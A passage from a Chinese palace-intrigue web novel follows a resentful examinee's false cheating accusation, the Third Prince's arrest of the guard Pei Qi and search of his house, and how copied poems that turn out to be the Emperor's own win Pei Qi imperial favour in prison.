陈江源的心里一阵五味杂陈,翻江倒海,最后想了什么,他自己竟然也不知道了,直到那边的天色亮了起来,旁边的号舍之中,考生把床板拿起来继续当桌板用的时候,陈江源才突然反应过来。 他竟然想这些事情想了一晚上。 这一晚上他竟然什么也没干,既没有答卷,也没有休息。 他的额头渗出一滴汗珠来。 陈江源心中满是懊悔与焦虑,看着空白的试卷,他深知时间紧迫,可思绪却如一团乱麻,难以集中精力答题。 他努力让自己镇定下来,试图回忆起曾经背诵的东西,可脑海中总是浮现出杨明与那巡考官在那一晚上交谈的身影。 他拳头紧握,愤恨地拍了一下桌子,引起旁边监考官的注意之后,他才咬着唇收敛了动作。 随后他便没有思考那么多,凭着自己的感觉,连草稿也没有打开始作答起来,反正这世上,没有人脉,没有关系的人就是考不中的。 自从见了裴期之后,他便心神不宁,反正就是胡乱的、纯粹按照自己的心意答题。 直到出了考场,他才恍然之间意识到发生了什么事情。 好不容易来上京一趟,好不容易三年才举行的一次会试,他居然耗费了整整三天二夜的时间都在那巡考官和杨明的身上! 同乡过来勾着他的肩膀,问他考的怎么样? 他强忍着心中的沮丧,不甘,愤懑,准备强颜欢笑地跟同乡交谈。 可他才刚抬起头便又看见了杨明,杨明尽管在考场当中待了三天二夜,却一副神色如常的模样,根本没有其他人一般的憔悴。 一看上去便考得很好。 陈江源咬牙想着,不是因为有人帮你作弊,你能考的这么好? 他和几位同乡一起回到了客栈,为了节省钱财,他们住的客栈也是十分旧的。 他坐在自己的房间里面左思右想,一会儿是杨明出考场那副春风得意的样子,一会儿是自己在面对那些考试题心中茫然无措的感觉。 一会儿又是巡考官那英俊高傲的模样。 他心里不知为何涌起了一股无名怒火来。 于是他打开房门冲旁边的小二吼道:“给我上几坛酒又上几盘肉来!” 小二稀奇地看着他,毕竟这人在之前刚来的时候还表现出一副抠门的样子,连住房间都要同他讨价还价好久。 现在这样倒好像是捡到了几百两银票的样子。 接着他便叫下面的厨房送来了几盘肉,又送来了一坛酒。 陈江源一杯接一杯地灌着酒,他脸上又哭又笑的。 他的同乡们听到动静,过来劝他。 “你是怎么了?怎么忽然这样,明日还要考试呢!黎明就要考试,只有一晚,你能醒过来酒吗?” “你是第一场考差了吗?就算第一场考差也没关系,后面两场若是答地出彩,也没什么影响的。” 可陈江源根本听不进去。 他一会儿哭,一会儿笑,脑海中全是一个念头。 天道不公。 同乡见状,也只能离开。 毕竟这人后面不想继续考了,他们还要继续考呢,谁上京来只是为了玩个两三天。 可陈江源喝得酩酊大醉,一口气把自己身上的所有银子全花光了,开始胡言乱语起来。 小二也是听说他是上京来考试的考生,他心中也有些不忍,于是便推开门提醒道:“您要不还是少喝点,毕竟还要考试呢。” 而陈江源这时什么也听不进去,他哭诉着自己多年的寒窗苦读,抱怨命运的不公,又稀里糊涂的反复说作弊作弊两个字。 说到兴起,他对着小二大声吼道:“凭什么有人就能靠关系走捷径,别人就只能苦熬,这世间到底还有没有公平可言!” 小二被吓了一跳。 连忙后退了几步,从门里面出去。 坏了,遇到失心疯的了。 下狱 忠勇侯府外传来一阵吵闹声。 结束了自己的巡考任务之后, 裴期在家里休息了几天便听着钱苗的建议,准备去看看新府邸,也顺带看看缺不缺点什么。 可他刚才洗漱完便听见外边的吵闹。 裴期推开门, 才往前厅走了几步,便看见一个熟悉的身影。 三皇子带着后边一队锦衣卫,已经进入到了府里边。 裴期微微蹙眉。 在秋猎惊马那天,他便已经知道此事的始作俑者是谁。 之前听太子说已经查清此案, 那三皇子怎么还在这儿? 可来不及让他细想。 一对看上去甚至还有点儿眼熟的锦衣卫上来就按住了他。 他的肩膀被人按得生疼, 这几个人似乎想让他跪下去, 可他站的笔直,任凭别人怎么按, 也不弯一下膝盖。 于是旁边的那两人也放弃了, 只是把他的两只手钳着。 外祖父已卸甲归田多年, 为表不再插手军营的事物,甚至连家中的家丁侍卫都是找人牙子买的,因此也没抵挡住几下锦衣卫,都通通倒在一边。 见到这一幕,外祖父胸口起伏, 从旁边站着的侍卫身侧的剑鞘里抽出一把刀来, 当即就要发难。 三皇子不比太子, 惹太子惹不起,三皇子还是可以试试的。 外祖母拦住了他。 不让他冲动行事。 随后, 外祖母上前几步问道:“不知我外孙所犯何事?” 三皇子脸上扬起笑。 “什么事?”他转头看向裴期, 挑眉, “科举期间裴期协助考生作弊,理应即刻问斩,只是父皇仁慈, 念着旧情,先关押几天,等放榜再做处理。” 裴期紧抿着嘴唇,仔细的听了对方说的话,他冷静地回答:“我没有。” “有没有并不是你说了算的。”三皇子说,“如今有你的亲兄弟和考场考生两个人作为人证,你不要想抵赖。” 亲兄弟? 裴建? 裴期眉头皱地更深,他不知这个指正是从何而起的,也不知考场当中那个要作为人证的考生是谁。 但是他真的没做过。 “我没做过。”裴期执拗地重复,“我想见陛下。” 三皇子见他一脸困惑,不知道发生了什么的样子,心中十分畅快。 上次秋猎就让此人抢尽了风头,更别提还是太子的人,与太子关系如此近,还共同负责科举事宜,听闻光是东宫,眼前这位就大张旗鼓地去了好几次。 裴期做错了事,那便就是太子做错了事。 裴期进了狱里,那边是打太子的脸。 天赐良机的报复时候,他怎么会放过?太子彻查惊马,他可是担惊受怕了好几日会不会牵连自己,如今也该让对方尝尝同样的滋味。 就是不知太子做事情出了纰漏,父皇会怎么责罚。 况且这是科举,是父皇自登基以来最重视的事情。 自从十岁往后,那太子便像一个假人一般,一点错误也不犯,衬得他们这些个兄弟愈发不好。 幸好刚瞌睡就有人送枕头,有个蠢货想趁着夜色去锦衣卫那边往门口塞个匿名信,被人当场抓了。 那人也耐不住拷打,他这边就活生生多了个人证。 “父皇还轮得到你见?” 说完,他向旁边扫了一眼,押着裴期的那两个锦衣卫立即就要将他带出去。 裴期不肯动,他的眼睛里困惑和愤怒交织。 看上去有些亮晶晶的。 三皇子觉得裴期平时呆呆的木木的,像个小孩儿一样让人提不起兴趣。 可一生气起来,脸上有了情绪,就很有意思,于是他就上前捏着裴期的脸:“怎么了?生气了?” 其实只要裴期想,来中侯府抓他的这群人全都不是他的对手。 可他并不想这么干,他并不想连累自己的亲人。 “我跟你走。”裴期拳头紧了又松,他说。 他知道有一个人绝对不会坐视不管,有一个人绝对会相信自己。 三皇子见他这样,也知道对方在想些什么。 可笑,太子那种人怎可能会管? 父皇多疑,太子怎么可能留下一个这种人在自己身边? 就算太子要管这件事,那只会更好。 于是,三皇子说:“裴期,你知道吗?若不是太子最近忙着科举阅卷事宜,过来缉拿你的该是谁吗?” 裴期看着三皇子不说话。 他讨厌这种说话说一半留一半的人。 “你脑子可真不灵光。”三皇子说,捏着裴期脸的手也愈发起劲,“我现在给你掰开了揉碎了讲,若是我不来,来的便该是太子,你觉得太子会徇私吗?你觉得太子……” 他话还没说完便发出一声痛呼。 原来是裴期张嘴,侧头,狠狠地咬住了三皇子的手。 裴期觉得对方讲话很莫名其妙,太子是绝不可能这样对自己的,虽然他确实从小到大就没被人说聪明过,但是他也知道对方现在一定在说太子的坏话。 三皇子手被咬住,他吃痛,脸上露出痛苦的神色,他伸出另一只手去推裴期的头,试图把对方推走,可他不管用多少力气,裴期却仍然纹丝不动。 还是旁边的锦衣卫见到了,费了好大的劲才把裴期给拉开。 “裴期,你他娘的属狗啊!”三皇子甩着自己的手臂怒骂。 可他眼神只是刚接触到裴期的一瞬间便怔住。 只见裴期现在虽然安静了下来,可一双眼睛死死地盯着他,那双颜色浅浅的眼睛,特别像他第一次参加秋猎时遇到的那只狼崽。 三皇子不愿承认自己内心恐惧,他的脸阴沉的像是滴得出水来。 过了半晌他才说,“搜家,每一个边角都不许放过,凡是带有一个字的,全都带走。” 旁边的锦衣卫惊了,连忙说:“三皇子,可是陛下吩咐下来的时候没有说过要搜家,况且这是忠勇侯府……” 忠勇侯府当年可是立下了汗马功劳,如今搜家岂不是打脸? 三皇子的脾气已经完全上来了,怎么着也压制不住自己,他沉着脸盯着那个锦衣卫说:“你哪里来的这么多话?” 见他这样,那个锦衣卫也只好带着人去搜。 只是在搜的时候他稍微变通了一下,只是搜裴期住过的房间,而不搜其他的,三皇子这样的身份不容易被报复,可他们这些小兵小卒的可就说不定了。 外祖父这时终于按耐不住,挡在锦衣卫前往的路上说:“这是忠勇侯府,我看谁敢?” 所以说是武将,可他也当了许多年的官,自然知道三皇子这一套是要干什么。 无非就是想把裴期写的每一个字都拎出来上纲上线一番,看是否能够罗织些罪名吗? 凭空伪造罪证并不容易,可把别人写的每一行字都曲解成别的意思还不容易? 你写了“社稷”便说你意图谋反,你写了“盼甘霖”就说你暗讽朝政。 三皇子冷笑一声,“忠勇侯,您老还是莫要阻拦,本皇子这是在奉命行事,若您执意相抗,便是与父皇作对。” 外祖父气得胡须颤抖,“三皇子,你莫要血口喷人,我忠勇侯府对朝廷忠心耿耿,岂会做出这等事。你这般肆意诬陷,就不怕报应吗?” 此时,裴期说:“让他们搜我没做过的事,他们也搜不到证据。” 外祖父皱眉,终究还是孩子太年轻,不懂这些其中的门道。 锦衣卫们趁着外祖父愣神的功夫进入裴期房间搜查,翻出了一些裴期平日的日常用品,并无其他的。 三皇子亲自上前查看,试图从中找出把柄,然而除了一些寻常的东西,一个字也没有。 三皇子心中恼怒,却仍不死心,“继续搜,定有遗漏之处。” 终于,在打开了裴期特意叫木匠给自己打的一个书架下抽屉里,发现了那些字帖。 三皇子拿来一看,只见这些诗虽然韵律不通,可每一首诗几乎都会议论政事,农事,军事等。 有的是甚至还直接点明,若是以后得了天下,定要让百姓安居乐业,海晏河清。 皇帝早些年间,四处征战之时,这位三皇子尚且还没有出生,无从得知这些诗究竟是谁的作品。 于是三皇子一看,这些诗并没有署名,便心中开始冷笑。 还以为像锦衣卫这种平日里书不读上几句的,找不出这种东西呢。 怎么样?还不是给他抓到了把柄。 从太祖到父皇都是一脉相承的多疑。 这些诗的内容已经足够了。 只是外祖父见到他们拿的那字帖神色却有些微妙。 他脸上一派悲愤的神色被平静替代。 是这些啊,他都快忘了。 嗯,是这些的话,那倒是也可以给皇帝看看。 三皇子见他没有了动作,也只当对方是迫于皇权终于放弃了挣扎,他手里拿着这些个“证物”迫不及待的就要回宫见父皇。 于是,三皇子急匆匆便带着那些“证物”和裴期走了。 —— 裴期被带到了诏狱中,他对此地非常熟悉,毕竟他刚来当差的第一天就来过这儿。 没想到他自己居然有一天也要进一次。这个牢房。 三皇子跟在他的后面要亲眼见着他被关进去。 裴期跟着抓自己的锦衣卫,一起往前走,期间遇到了一个意想不到的人。 他在路过的一间牢房里面看到了裴建。 在今天之前他都以为裴建在考试院中,等到科举阅卷结束,放榜便可从考试卷中出来、回家。 而裴建见了他,则是一脸心虚的神色,垂下了眼眸,微微把身体背过去,试图不让裴期看清楚他的样子。 裴建想,这并不能怪他招供,锦衣卫这里的拷打手段,常人光是看了就害怕。 况且他也并没有说假话,那日裴期撞到了自己,还看了题目,既然已经看到了题目那么谁知道裴期有没有把题目告诉别人? 因此,昨日那群锦衣卫们刚把刑具拿出来在他的眼前放了一下,他便忙不迭地点头画押了。 直到裴期被送进了那间低矮、伸不直身子的牢房里,三皇子才终于放心。 他低头看着此时裴期被迫弯着的腰,和仍旧一脸平静的神色,忽然想起裴期之前只是因为自己说了太子几句便咬住自己手的模样。 好忠心啊。 三皇子想。 他忽然有点嫉妒起来,凭什么太子什么也没干便能拥有这么忠心的一条狗。 三皇子仍旧站着,居高临下地跟地上的裴期说: “裴期,我现在给你一个机会,你不要跟太子,跟我怎么样?你跟着太子,帮太子做事,还不是像现在一样在这里蜷着?” “可你若是跟我做事,我便放过你,日后不管你再嚣张跋扈,再仗势欺人,都没有人敢对你怎样。” 三皇子有这个底气,他的母族强势,父皇也同他的母亲恩爱。 只是他觉得自己现在有些魔怔了,居然在这里问这种蠢问题,不过是一条忠心的狗罢了,只要肯出一些钱,十条百条的都有。 裴期没有回他的话。 于是半天没有得到回应的三皇子只好又蹲了下来,经过了刚才的教训,他并不敢把手伸进去了。 “我问你话呢?你聋了?”三皇子说。 裴期有些不耐烦,他觉得眼前的人怎么这么蠢? 自己都是锦衣卫了,肯定不是为别人干活,而是为皇帝干活。 于是他说:“我不跟着你们任何一个人,我是为皇上做事的。” 三皇子一听裴期这话,先是一愣,随即忍不住放声大笑起来,“只为皇上干活?哈哈,你可真会说笑,如今你都被关在这狱中,还谈什么为皇上干活,父皇可是亲自下令要把你关在这里的。” 天真,简直天真地让人有点想笑。 裴期不再理他,把身体背过去。 三皇子见状,站起来冷笑一声,转头就离开。 不知好歹的东西。 日后定有他后悔的时候。 荣宠不衰 三皇子紧赶慢赶地到了皇宫里。 他知道这时候父皇都会陪着自己的母亲喝茶。 在这个地方总没有其他人的打扰, 不会有那些个满脸清高的文臣出来反驳他。 他一进入他母亲居住的宫殿便径直赶到了皇上所在的内堂。 见到皇帝确实正在和自己的母亲一起喝茶,而旁边的王公公跟着伺候。 他一进门便双腿一弯跪了下去。 “受父皇所托,儿臣的确在裴期住的地方找到了实证。” 他说地言之凿凿。 听得皇上都忍不住皱了皱眉。 他是料定了裴期不会干这事情, 也不想真去追究才会让自己这个不太聪明的儿子去查的。 难道真的查出了什么? 皇帝眯了眯眼睛,这不对,如果裴期真的有心眼子,得了考题便敢去协同考生作弊, 这样的人怎么会在裴府过成那样? 当年裴期父亲就是求到了他的面前, 要易爵给裴期的弟弟。 那道旨还是他亲自下的。 三皇子好歹也是和他父皇相处了许多年, 因此现在也看得出来自己的父皇现如今大约是不信的。 因此他朝旁边撇了一眼,旁边便有个小太监拿着个托盘上来, 托盘上放着的正是裴期之前的那些字帖。 这时连旁边伺候的王公公都忍不住悄悄伸长了脖子, 想看看托盘上的那些纸上写了什么字。 他有些幸灾乐祸。 好啊, 锦衣卫得了裴期那么个宝贝,没当差几天变成了皇上的恩人,让锦衣卫出了好多的风头。 皇上现在不论遇到什么事情都交由锦衣卫去干,没他们东厂什么事了。 他们没事干,就没有油水, 已经苦了好长一段日子。 而如今若是裴期犯错, 那犯错的便就是整个锦衣卫。 看他们到时候该如何撇清关系。 他这样想着, 便十分期待着那些纸上最好是有些什么东西。 只见三皇子侧身,从旁边太监举着的托盘上取了放在最上面的那张宣纸。 他完整地念了两句上面的诗。 然后说:“父皇, 您瞧, 这句‘千百万将难收九州’, 岂不是在暗讽朝廷军队出征不利?” 在他刚把这句诗念出口的时候,皇帝便紧锁起眉头 三皇子见了便以为有成效。 就又在那些字帖里挑挑拣拣出几首诗来,故意曲解其中意思, 更有甚者,里边但凡是引用了古籍典籍的他都要将之与科举,与不臣之心挂靠上。 他说地正在兴头上。 没注意到旁边站着的王公公脸色都青了又白,白了又青。 一开始听见那两句诗时,王公公还觉得胜券在握,那裴期肯定是死定了没跑了。 可他越往后听越感觉不对。 这几首诗怎么这么耳熟呢? 等他反应过来时,已经来不及去想个圆滑的由头制止三皇子了。 王公公恨地咬牙切齿,天杀的锦衣卫!天杀的裴期!他们怎么就这么好运! 今日但凡这里呈上的不是这几首诗,就凭陛下的多疑,裴期日后也绝对得不了重用。 可偏偏是这几首!是这几首! 这几首诗…… 根本就是陛下的啊! 二十年前,三皇子尚未出生,先帝先是重用武将,将边疆收复了之后便开始重用文臣,特意疏远原来的那些一起打仗的功臣们,怕他们势大,后面登基的子孙难以招架。 于是,在当时一股崇文的氛围传开,民间的百姓们不再催着儿子们练武,转而催着他们念书好得个好前程。 于是,现在的皇帝被这种氛围感染,也跟着作诗,当时的几个皇子里边就他势头旺,于是便还有人跟着拍马屁,将皇帝的那几首诗都给出版做成了字帖,在民间售卖着。 连王公公都没想到这字帖竟然还在民间售卖着,还刚好就给裴期买到了。 王公公气上心头,终于下定了决心要在今年考进的进士当中挑一个。 小门小户出身的,好好的交好一番。 东厂日夜伺候皇上多年,比锦衣卫更懂皇上的脾性,到时候便能有一个人同裴期分庭抗礼。 不然的话任由这小子这么媚上下去,只怕以后东厂连立足之地都没了。 三皇子还没意识到自己干了什么,可他的母亲却已经意识到了。 他的母亲跟随皇帝多年,自然知道从前的事情。 于是,只见三皇子母妃听到一半便放下了手中的茶水,往桌面上一放,发出轻微的声响。 三皇子被这声响打断,停顿了一会儿。 他的母妃便趁机说:“莫要再说了。”她微微摇头,与三皇子对视,想要让三皇子看懂自己的暗示。 可惜的是,她儿子长这么大,行事嚣张跋扈,从不顾及别人的看法,因此也从来没有真正领会过她的暗示。 三皇子只当母妃是担心自己言语冒犯了父皇,便叫旁边的太监把托盘呈上去给皇上。 他的母妃看到当时脸色便不好了。 王公公看到,也是闭了闭眼睛。 你从自己的口中转述出来也就罢了,现在居然当面呈交给皇帝,让皇帝看看裴期一字一句抄写了多少遍,让皇帝看看裴期有多赤子之心吗? 小太监弯着腰,几步上前,到皇帝的面前便跪下,将托盘高高地举过头顶。 “请陛下查阅。” 于是皇帝便伸手,将托盘上的宣纸全部拿了过来。 他拿起了一些在手上看,又放了一些在腿上。 只见纸上的字迹从一开始的连刚开蒙的几岁小孩儿都不如,到后面的虽青涩却已有了一番形韵,有的墨汁干了颜色有些变淡,有些墨汁却好似是前几天不久新鲜的。 看上去一字一句,一笔一划,皆是真真切切费了时间来抄的。 用心之真切,可见一斑。 皇帝见了,不知为何只觉得心中有些鼓胀,他已好久没有这样的感觉了。 在年轻时,他御驾亲征,将士们见到了他,便欢欣鼓舞,觉得此战必胜。 那时的他就是这样的感觉。 没有哪一个已步入老年的帝王能够拒绝一个年轻的臣子这样的仰慕。 王公公打量着皇帝的神色, 坏了,这是又被拍马屁拍爽了。 完了,东厂要完了。 皇帝轻轻把裴期的字帖放下,面上平静,他问三皇子:“此物从何而来?” 三皇子看着皇帝的神色,以为自己的父皇开始怀疑、不信任起裴期来。 于是他扬起下巴说:“是从忠勇侯府上得来的。”为了邀功,凸显自己的不易,他还补充道:“那忠勇侯当时还拿了剑,要阻拦儿臣,儿臣为了千难万险才搜到这些,裴期也不知为何,将这些东西都藏着,费了我好一番功夫寻找。” 那就是并不是三皇子与裴期串通起来做戏的,皇帝心想。 他十分了解自己的这个儿子,为别人做嫁衣的事情他是绝不肯干的,且看他的神色,也并不像是有预谋的。 于是皇帝轻轻咳嗽了一声,说:“倒是暂时并不急着处置裴期,过几日等放榜了便再说吧。” 只需最后一步确认了,虽然他也打从心底里并不认为裴期会干这样的事。 然后他又像想到了什么一样,又对旁边的妃子说:“朕突然想到还有要事,今日便不陪你吃茶了。” 旁边三皇子的母亲看见自己儿子的举动早已心如死灰,只能强颜欢笑,点了点头,送走了皇帝。 目送着皇帝离开三皇子,还觉得自己今日干得这事漂亮。 于是三皇子便凑到自己的母亲面前,想要自吹自擂一番,可他才刚开口,脸上变猝不及防挨了一巴掌。 他的母亲手上稍长的指甲将他的脸上划出了几道血痕。 “蠢货。”他的母亲看着他,眼中满是怒火,“前几日你闯的祸,你知道你舅舅那儿死了多少个人才帮你摆平吗?” 三皇子懵了,他捂着被打的脸,一脸茫然地看着母亲,嗫嚅着问道:“母亲,儿臣……儿臣又闯什么祸了?” 他母亲气得浑身发抖,指着他骂道:“你这没脑子的东西!你今日在你父皇面前这般胡言乱语,曲解那裴期的字帖,你可知道那诗是谁作的?” 三皇子没回答,只是小心翼翼的看着自己的母亲。 只见他母亲冷笑一声:“那是你父皇的诗!今日若不是你父皇并不想跟你计较,今日这事儿能这么轻易就揭过去?为他人做嫁衣,真是干的好啊!” 三皇子听完这番话,身体一顿。 想起之前自己说的那些话,他面色煞白。 —— 裴期从不知道诏狱的牢这么让人难受。 牢房里潮湿冰冷,人被迫在里边,连上半身都直不起来,手无论碰到哪儿都是滑腻腻的,让人恶心。 但他也并没有气馁,他知道锦衣卫的章程不可能将人一直关在这儿,无论等上半个月还是半年,总要有一天提审调查的,他没做过的事就是没做过。 可是在狱中只能呆呆的坐着,未免有些无聊,于是裴期便开始在脑中想着之前的事情来解闷。 但这个时候,不知道为什么他脑子里回忆起来的好多都是太子。 太子说凡事要思考事情背后是什么。 太子说作弊的那些人心里想着什么。 太子说他的眼睛是小时候住的地方起火弄伤的。 太子说要给自己送个围脖 …… 裴期觉得能有个像太子这样的朋友太好了。 他想永远和太子做好友。 他就这样胡思乱想着,却突然被牢房门口传来了一阵脚步声打断。 只见锦衣卫压了个陌生的,大约三十几岁的男人过来,推推搡搡的把男人放到了对面的牢房里面去。 那男人被关了,脸上带着惊恐和震怒。 “你们怎么能这么对我?我可是有功名的举人!” 从前在家乡的时候,他从未受过这份气。 如今在这里,倒要受这种委屈。 那些锦衣卫笑嘻嘻的,他们向来嘴毒惯了,面对身份比自己高的人,他们倒还会收敛一些,可面对这样的不知轻重的人,他们便不会刻意收敛。 “你匿名举报朝廷命官,又没有实证,万一是诬告,岂不是委屈了我们大人?” “说什么诬告,你!你说什么诬告!” 听到这两个字,陈江源便瞬间激动了起来。 两个锦衣卫笑嘻嘻地蹲到他的面前来,说:“你以为如果没有三皇子特意搜罗你这种人,你能有机会状告我们这儿的千户?” 另一个人语气带着讥讽,“听说你一直便碌碌无为,花光了家里所有的积蓄来上京考试,只是考了头一场便临阵脱逃,喝得酩酊大醉,不省人事,后面两场也不去考了。” “好厉害呀,陈大举人。” 陈江源听到他们的话,脸上也是一阵青一阵白的,一句话也说不出来,要他与别人论知乎者也可能还能说上几句,可他面对的是锦衣卫这样的人,他便怕了,一句话也说不出。 接着两个锦衣卫又把后边的空间让出来。 他们看热闹不嫌事大。 “我们俩特意把你的牢房安排在这儿,你且看看你对面。” 陈江源这才注意到他牢房的对面坐着裴期。 他瞬间便惊出了一身冷汗。 这这这这不是他举报的那个人吗? 他,他们俩怎么能关一起呢?! 听说锦衣卫一个个都武功过人,如今这么近的距离,对面随便丢过来一个暗器便能要了自己的性命。 他身体僵住,如坠冰窖。 裴期却并不知道对面的人是谁,但是从两位锦衣卫的只言片语中,他也猜到,这个人便是举报自己的人。 裴期也并不是那种扭捏的,于是当面便冲着对面牢房的人问,“你究竟为何要举报我?” 陈江源听了这话,心里也是又羞又恼。 这人怎么就不懂体面二字呢? 居然当面便这么问。 虽然是自己举报了他,可两个人毕竟还要在牢房这样的位置关上一段时间。 怎么就不能当做什么都不知道一样呢? 于是他并不回答,只是侧身,把自己的身体扭了过去。 裴期见他这样,也是皱了皱眉毛。 就当他以为事情到这里就结束的时候,外面忽然又来了人。 一个熟悉的身影出现在牢房的尽头。 是王公公。 裴期视力很好。 他能看见王公公的脸色从一开始镜头的面无表情走过来,逐渐变得笑容满面。 对方手里托着几件衣服。 后面的太监手里拖着几本书,还有一堆笔墨纸砚。 指挥使也过来了,他先是拿了负责这一块的人腰间别着的钥匙,然后又是亲自去将裴期的牢房给打开。 弯着腰把裴期从下边引了出来。 裴期酸痛了一上午的腰总算是恢复了正常。 他有些疑惑的看着眼前的场景,问:“指挥使,王公公,请问发生了什么事?” 指挥使的脸上隐隐带着些得意,“皇帝体恤你,特意许你并不住在这样狭小的牢房当中,让你去旁边那间大的。” 他的目光转向旁边,裴期也顺着他的目光望去,只见这些狭小低矮的牢房旁边,有几个尚且大一点的,能让人站直的牢房。 如今他们后面跟着的那些工匠正在勤勤恳恳地将几间牢房之间的隔断给拆开。 裴期粗粗地一打量,便发觉这几间牢房打通之后竟有他的卧室那样大了。 最边上的牢房里被那些小太监们放上了一把椅子和一张桌子。 随后又有人把桌子上布置好笔墨纸砚和几本字帖,随后又将宣纸给裴期摊开。 王公公上来就握着裴期的手,笑着说, “哎哟,皇帝见您最近一直在练字,也不想叫您荒废了,于是便特意给您带了笔墨纸砚来,让您能继续练。” 他嘴上这么说,心里门儿清皇上在想些什么,不就是马屁被拍爽了,要给人一点独一无二的优待来昭示一下恩宠。 但他也并不点破。 告诉裴期干嘛?告诉裴期了,好让裴期学聪明了,更加变本加厉地争宠吗? 但裴期却只以为皇帝是真心不想让自己练字荒废。 于是他认真地点点头,“定不负陛下期待,一定好好练字。” 王公公看着他的神色,心中哼了一声。 得了便宜还卖乖,好装的人。 而后边,同在一个牢房内却完全不同待遇的陈江源与裴建瞬间铁青了神色。 居然与科举作弊扯上关系,都能荣宠不衰,好大的恩宠,日后若是记仇,便够他们喝一壶了。 授他权柄 考试院内。 几位考官刚紧锣密鼓地阅卷完毕。 太子李稷也跟着查看试卷是否弥封到位, 阅卷是否遵守章程,他陪着眼前的这几位,自己已经几天未有合眼。 他逐份审视, 确认无误后,他微微点了点头,随后拿起手边泡的时间太长,已经发凉, 且微微有点发绿的茶水, 一饮而尽。 主考官擦了擦头上的汗。 他们这几位阅卷人尚还有可以轮换休息的时候。 可太子却是结结实实地几天没有休息。 眼瞧着太子都这样了, 他们几个自然不敢怠慢。 因此,这次阅卷的效率格外的高。 本来满打满算应该一个月才阅卷完的, 居然用了半个月便完成了。 太子见状, 微微笑了笑, 只说:“辛苦诸位。” 然后他又扫视了一眼这些考官,“诸位考官辛劳,孤皆看在眼里。此次阅卷既毕,当有赏赐。” 说完,他朝旁边看了看, 便有一个侍从上来, 侍从手里端着整整齐齐的一些名贵的补品, 看样子竟是要他们当场带走。 这位侍从又说:“几位大人先将这些带回去,好生休息一番, 过后太子殿下自然会将赏赐送到府上去。” 李稷微笑着, 表面看上去温和, 可仔细看,他的手里却拿着那只茶杯,茶杯在他的手心里有规律地转动着。 他的指节微微有点泛白。 考官们并没有注意到他的异样, 只是暗自庆幸, 任务完成,终于可以回家休息了。 考官离开,李稷在原地等着,过了一会儿,终于有放榜的人过来,抄写这些试卷的分数。 李稷耐心地看着这些人誊录完毕,又问了一句:“确认无误了吗?” 这些人都已经经历过许多年的科举了,自然做起这些事来得心应手,只见里面为首的人点点头,弯腰行了个礼,“确认无误了,殿下。” “那就放榜吧。” 李稷看了一眼他们誊录的名称,说道。 几个人虽然好奇太子为何这么急切,但也并没有异议,在一些军士的看守下,前去放榜。 所谓放榜便是将写有中式者姓名、名次等信息的榜单张贴于城中显眼处,让人观看此次科举的名次。 李稷见着他们离去的背影,面色逐渐沉下来。 旁边他的侍从小心翼翼地问:“殿下,我们是直接去诏狱吗?” 没错,李稷早在几天前便已得知了裴期被抓入狱的消息。 他以为自己的第一反应一定是觉得这是苦肉计,是让他出现纰漏的手段。 可连他自己也没想到,他的第一反应居然是无论什么办法也要尽快将裴期从里面救出来。 李稷第一次不知该作何感想,他心里其实是知道的,自己现在所做的是最好的,最优的解决方案。 先让科举的成绩放榜出来,再去全力解决此事。 他知道父皇干了什么,也知道什么样的结果能够让父皇打消对于裴期的怀疑。 可他还是忍不住去想。 裴期在里边住了几天了?在里面可否过得安好? 李稷眯了眯眼睛,可现在,为了打消父亲的疑虑,还有重要的事要做。 他放下了手中的茶杯,对旁边的侍从说:“不,先去宫里,然后再去锦衣卫司。” 若有机会能铲除后患,使他和身边人都不再受威胁,他绝不会错过。 肆意加害别人的人,也要让他尝点苦头。 然后,李稷眉毛微微上抬,他看了一眼窗外。 窗外有风刮过,吹得树一晃一晃地动。 裴期背后那人实在无用,连自己手下的人都护不好。 也罢,若是叫裴期尝了手中有权柄的滋味,未必愿意被别人捏着把柄驱使。 李稷起身离去。 他的侍从小跑几步跟在他的后面,期间不小心撞了一下李稷方才手边的桌子。 桌子摇晃着,细微的“咔嚓”声传来,上面的茶杯便应声碎成几乎成了粉末的一堆。 见到这一幕,侍从心里一紧,赶忙加快了自己的脚步,全力跟上。 —— 而诏狱里,裴期日子过得其实…… 严格意义上来说其实过得还真不错。 他住的地方与他的卧室一般大,甚至还专门弄了个屏风过来,让他能在里边用热水洗漱。 到了饭点,还有皇帝专门赏过来的饭菜。 就差专门安排一个人伺候他了。 除了不能时常出去活动以外,和平时也并没有什么区别。 但眼看今日,甚至连活动也给他安排上了。 只见今日轮班来看守他的两个小锦衣卫其中一个神神秘秘的带了个小花瓶过来。 而另一个则手里拿着一把像迷你的箭一样的东西。 他们走到裴期牢房的门前,又用脚丈量了几步距离,然后将小花瓶放到了正对裴期五步的地方。 裴期看地有些好奇,便问道:“你们这是在做什么?” 那神神秘秘的锦衣卫嘿嘿一笑,说道:“千户,今日给您寻个乐子呢。您瞧这小花瓶,待会儿您就知道有趣了。” 另一个锦衣卫也附和着点头,边比划边说:“公子您呐,就试着用这小箭投进那花瓶,权当活动活动筋骨啦,在这诏狱里也怪闷的不是。” 裴期这才明白过来,原来是这两人寻了个投壶的乐子和自己一起玩儿。 他努力地忽略掉那个花瓶,心里想着他现在都已经做千户了,便要成熟一点,绝不能贪玩。 可他还是忍不住被吸引着。 在这牢狱里面待久了,什么都看着有趣了。 就连练字他已经练了以前一天的十倍了,更何况是投壶这么有意思的东西,他到古代来还从来没有玩过呢。 两个锦衣卫也看出他有兴趣,便把那小箭放到他的脚边。 裴期拿起来投,却还是觉得不合适,他现在可在关押阶段了,怎么能干这事呢? 于是他摇了摇头说:“我毕竟还是被关着,这样不好。” 两个锦衣卫见状便想劝他,“您虽然被关着,可是……” 他俩话还没说完,便听见外面有声音传来,像是有许多人往这边过来的。 两个锦衣卫顿时脸色一变,心中暗叫不好。 该死,如今大家都知道裴期圣眷浓厚,不过几日定能放出来,他们本想着趁这机会讨好裴期,日后说不定能得些好处,哪料到会在这时候有人来。 此时,外面的脚步声越来越近,隐隐还能听见嘈杂的人声,似乎来人还不少,两个锦衣卫手忙脚乱把东西藏好。 裴期也好奇的看向门口,想着这时候究竟是谁来了。 然后一张熟悉的脸出现。 太子? 太子到了自己的对面,裴期便注意到对方眼下的位置多了一些青黑。 “殿下,你怎么了?近日没有休息好吗?”裴期问。 李稷微微一愣。 他没想到对方自己身处这样的处境,见到自己的第一反应却是问自己近日是不是没有休息好。 李稷心间熨帖,忍不住勾了勾嘴角。 那两个机灵的锦衣卫早就拿出钥匙上前把牢门给打开。 于是李稷从旁边侍从那里取过一件大氅,上前一步披在裴期身上,“孤没事,你冷吗?” 近几日时常刮风,连带着冷了不少 